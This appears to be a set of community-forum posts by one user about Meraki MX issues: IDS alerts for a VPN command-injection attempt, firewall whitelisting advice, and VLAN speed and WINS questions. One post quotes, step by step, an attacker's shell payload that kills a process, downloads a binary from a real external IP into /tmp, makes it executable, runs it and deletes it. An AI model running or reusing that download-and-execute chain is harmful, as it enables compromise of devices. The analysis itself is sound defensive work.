That's great you found that information! It's really nice to see that the things that seemed to me there make sense. I believe that indeed Meraki should not be vulnerable to these attempts of malicious code injection, especially considering that this type of attack is associated with the IKEv2 protocol, which Meraki's Client VPN does not use. This aligns with the explanation that Meraki provided previously. Meraki uses L2TP/IPsec instead of IKEv2. However, I still insist that the best option, to protect ourselves from this risk, is to restrict VPN access based on a whitelist of IPs from authorized clients to use the service. That way, any malicious attempts coming from around the world will not succeed because the IP is not on the whitelist. But this whitelist needs to be on a firewall before Meraki, like on the ISP router's firewall. ... View more

I conducted a small investigation and, using the Windows sandbox to ensure isolation between the IP with malicious code and my machine, I executed the command found in the package inspection, but redirected the output of Curl (which downloads the remote script) to a txt file on the desktop of that sandbox. I found that the malicious IP is attempting to execute this sequence of commands: kill -9 $(ps -ef | grep tr069ta | grep -v grep | awk {'print $2'}) rm -rf /tmp/msc curl http*://162.248.224.101/m -o /tmp/msc chmod 777 /tmp/msc /tmp/msc latest rm -rf /tmp/msc Here is an explanation to those commands: kill -9 $(ps -ef | grep tr069ta | grep -v grep | awk {'print $2'}): This command attempts to terminate any process containing "tr069ta" in its name. The kill -9 command is aggressive and forcibly terminates the process. This may be an attempt to halt some running process on the system. rm -rf /tmp/msc: This command attempts to recursively remove the "/tmp/msc" directory. By deleting this directory, any existing content within it is eliminated. This preemptive action could indeed be to ensure a clean slate before the download operation, avoiding potential conflicts or interference with any existing files or directories of the same name. curl http*://162.248.224.101/m  -o /tmp/msc: This command uses curl to download a file from the specified URL and save it to "/tmp/msc". The downloaded file likely contains more malicious instructions. chmod 777 /tmp/msc: This command sets read, write, and execute permissions for the "/tmp/msc" file. This ensures that the file is executable. /tmp/msc latest: This command executes the downloaded file "/tmp/msc" with the argument "latest". What exactly this command does depends on the content of the downloaded script. rm -rf /tmp/msc: Finally, this command attempts to remove the "/tmp/msc" file after its execution. Once again, this may be an attempt to clean up traces after the script execution. I hope meraki support may give us a position about this malicious attempts that are happening... The IPS is still marking the action as allowed. Again I would like to reiterate my suggestion: I'm not sure how practical this is for you, but one solution is to configure the firewall rules of the ISP Router to only accept incoming traffic from authorized public IPs (public IPs of your users). The problem is that few people have an exclusive public IP, so if the IP is dynamic, the user may have their IP changed weekly or monthly and not be able to access the VPN. But in light of this, it's enough for the user to always have the practice of, if they have problems, contacting you and informing their new public IP so that you can update it in the ISP router's firewall rules. The idea here is not to take away Meraki's responsibility to fix this bug, but rather to prevent their system from failing at some point, especially since this wave attack against Meraki routers is happening. Soon these criminals will try measures that might work. On Windows, just execute this command in the terminal to find out the Public IP and store the data in a CSV spreadsheet: Invoke-RestMethod -Uri https://ipecho.net/plain  | ForEach-Object { $output = "{0:dd/MM/yyyy, HH:mm:ss}, {1}" -f (Get-Date), $_ $output | Out-File -Append -FilePath "your\preferred\folder\IP_History.csv" -Encoding UTF8 } By creating a script and setting up an automatic task in Windows, we can configure it so that every time the user turns on the machine, the public IP is stored in this CSV file. This way, it's possible to see if the ISP uses a specific and repetitive amount of public IPs for each user, allowing to reduce the number of times the firewall rules of the ISP router are changed. You could even share a folder on Google Drive with each user and have this CSV file stored there, in sync with them so that every time the automatic task runs the script, the CSV file will be changed and synchronized in the cloud, allowing easy access for you. Hope this helps. ... View more

Guys, I apologize for being insistent. I'm not sure how practical this is for you, but one solution is to configure the firewall rules of the ISP Router to only accept incoming traffic from authorized public IPs (public IPs of your users). The problem is that few people have an exclusive public IP, so if the IP is dynamic, the user may have their IP changed weekly or monthly and not be able to access the VPN. But in light of this, it's enough for the user to always have the practice of, if they have problems, contacting you and informing their new public IP so that you can update it in the ISP router's firewall rules. The idea here is not to take away Meraki's responsibility to fix this bug, but rather to prevent their system from failing at some point, especially since this wave attack against Meraki routers is happening. Soon these criminals will try measures that might work. On Windows, just execute this command in the terminal to find out the Public IP and store the data in a CSV spreadsheet: Invoke-RestMethod -Uri https://ipecho.net/plain | ForEach-Object { $output = "{0:dd/MM/yyyy, HH:mm:ss}, {1}" -f (Get-Date), $_ $output | Out-File -Append -FilePath "your\preferred\folder\IP_History.csv" -Encoding UTF8 } By creating a script and setting up an automatic task in Windows, we can configure it so that every time the user turns on the machine, the public IP is stored in this CSV file. This way, it's possible to see if the ISP uses a specific and repetitive amount of public IPs for each user, allowing to reduce the number of times the firewall rules of the ISP router are changed. You could even share a folder on Google Drive with each user and have this CSV file stored there, in sync with them so that every time the automatic task runs the script, the CSV file will be changed and synchronized in the cloud, allowing easy access for you. Hope this helps. ... View more

Yeah, actually if you have an ISP router already setup I think you already have the port redirection configured, right? Otherwise your Client VPN would  not work... In this case you only need to change this ISP router firewall rule to allow only incoming traffic from your collaborators Public Ips... For exemple: (ISP Router - Firewall rules) Protocol: UDP Sorce: {collaborator public IP} Sorce Port: Any Dest: Any Dest Port: 500 Action: Allow Protocol: UDP Sorce: {collaborator public IP} Sorce Port: Any Dest: Any Dest Port: 4500 Action: Allow Sorce: Any Sorce Port: Any Dest: Any Dest Port: 500 Action: Deny Sorce: Any Sorce Port: Any Dest: Any Dest Port: 4500 Action: Deny ... View more

JessIT1, do you have an ISP router or another router/firewall before your meraki?  If yes, I think the best way to dealing with this is to configure this router to only allow incoming conections to this redirected port if coming from your collaborators public IP. I solved this issue doing this. However, if your collaborators don't have a public IP, this means that you will need them to daily keep you updated about their current IP to include it in the ISP router allow list. This is the topology that I mean: {INTERNET} -> [ISP ROUTER]* -> [MERAKI CLIENT VPN]   [ISP ROUTER]* : Only allow collaborators public IPs and then Redirect 500 and 4500 ports to Meraki. But make sure that the ISP Router doesnt have any service itself facing the internet. Its important that this ISP router doesn't represent a vulnerability with services from itself facing the internet. If someone disagree, please complement this discussion. ... View more

Yeah, I got the same events...    We can't just live  our lives with this doubts... It's hard to see this events appearing with "allow" tags and don't feel worried.  ... View more

Thank you, Mustafa! Now, this is much clearer. I have a suggestion: It would be incredibly useful if Meraki could implement an update to the dashboard that allows it to specify which component effectively handled a threat and report it, instead of simply marking it as "allowed." This enhancement would help avoid confusion and provide more detailed insights into the security measures in place. ... View more

I've got a support answer, but they did not give and explanation about the IDS allowing this attack:   " Hi Victor, Sorry to hear that you have been going through this. If you haven't already, please take the steps below for safety measures: 1. Create Layer 3 Firewall Deny rule on outbound list to 95.214.52.173 to ensure nothing from your LAN replies to that IP. 2. Create Layer 7 Firewall Deny rule to Deny all traffic to/from Poland as this IP comes from Poland. 3. Reboot your MX appliance immediately to kill all existing TCP flows if they are alive. I hope this helps. Thanks, Peter Meraki Support"   Ill answer asking so informations about the allow action that the IDS took.  ... View more

After confirmation, this seems right... Client vpn uses 500 port but no IKEv2. Someone correct me if I'm wrong.  ... View more

This may not be true, because documentation makes clear that is necessary that port 500 is opened.   https://documentation.meraki.com/MX/Client_VPN/Guided_Client_VPN_Troubleshooting#Resolving_NetBIOS_names_over_Client_VPN ... View more

After set the layer3 rule I tested and noticed that the VPN user is still able to access the internet (what makes no sense to me) but the intervlan comunication was blocked. So what I saw is that the layer3 wont prevent the VPN user to access the internet, but it will prevent them to access your other subnets... So if you have servers and computers in other Vlan, the VPN user wont be able to access them.   I could not understand why internet acess was still happening even after adding the layer3 rule. ... View more

I think this print will be more usefull:   ... View more

I just added a rule to guarantee that no device connected to the VPN Client could comunicate with any other device, this include the internet itself: The Idea is: Deny - Any Protocol - From {VPN subnet} - At any src port - To any  Destination - At any dst port - syslog checked. ... View more

My company has one Meraki MX and we are facing the same issue. We have notice that event alerts in security center as well! And the notification is exactly the same! The same remote IP, similar hour and the same attack. Our meraki IDS also allowed the traffic.     However I have not oppened a ticket yet. I'll do this now. As counter actions I have applied layer 7 rules blocking this remote IP, Region, created a layer3 rule to isolate the VPN subnet in order to log if any traffic will occour (while keeping the VPN client active), and I also added a layer 3 rule denying this remote IP in my ISP router (because meraki is not acctually facing the internet, it is NATed with port redirection. If you guys have any ideas on that topic, I'll be glad to hear. I'm keeping the VPN active in order to log in my syslog server any comunication that my occour. Until this moment, I checked every network, event logs and radius server logs and found no suspicious connection. I hope this is a false positive... Cant understand why IDS would allow an attack like this. ... View more

I'm using a Synology NAS that is hosting a Iper3 server and than connecting to it over the VPN using a computer that has a Iper3 client.  ... View more

Yes, I have IPS enabled.   That a very sad news. I can't see no information that says this to me in the documentation clearly as day! How can someone know every downside before buying Meraki solution? Every time I get more profound in the Meraki configuration possibilities I see more limitations.  ... View more

Yes, it is. (mx64)  ... View more

Yes, as far as I remember I'm. Actually I've set up this VPN 2 mouths ago. This problem always existed. But I'm not sure if 2 mouths ago was another firmware.   This speed cap happens on windows and Mac OS, no matter where I'm. I'm using speedtest.net and Iperf to measure the speed.  ... View more

Yes, I have 2 switches in my setup. 😐   This is a extremelly sad news to me. So it means that I'll be forced to use just one Vlan and make the internet access based on policy groups by mac adresses and the workstations that really needs to be limited to other workstations to be in a different Vlan that will be slower. So sad. The alternative is to buy an expensive meraki, at least an MX75 (700Mbps throughtput). ... View more

So you mean that inter-vlan connection is limited at max 200Mbps?   Just clear me one thing: why a connection in the same vlan works fine but inter-vlan is limited at max 200Mbps? ... View more

Lol I'm felling my self dumb. I'm struggling to understand if this wins function is only executed by an actual hardware windows server (like windows server 2022 OS) or if I can create an wins server service in other hardwares. Could someone save me from my ignorance? ... View more

Ahh, nice! So this way I can associate an IP to an domain. But I would have to create this config in every remote access that was added to the VPN connection, right?   But is there a way to allow my windows to auto find those computers allowing me to just access it by the network section of files explorer? In my real local network here at home, when ever a computer is turned on I see it in the network sections in the files explorer, but it no happens to the computers across the VPN network. ... View more

No, I dont. Im using the meraki cloud authentication and its working for now. I also dont have an windows server, only a Synology DS220+ NAS. ... View more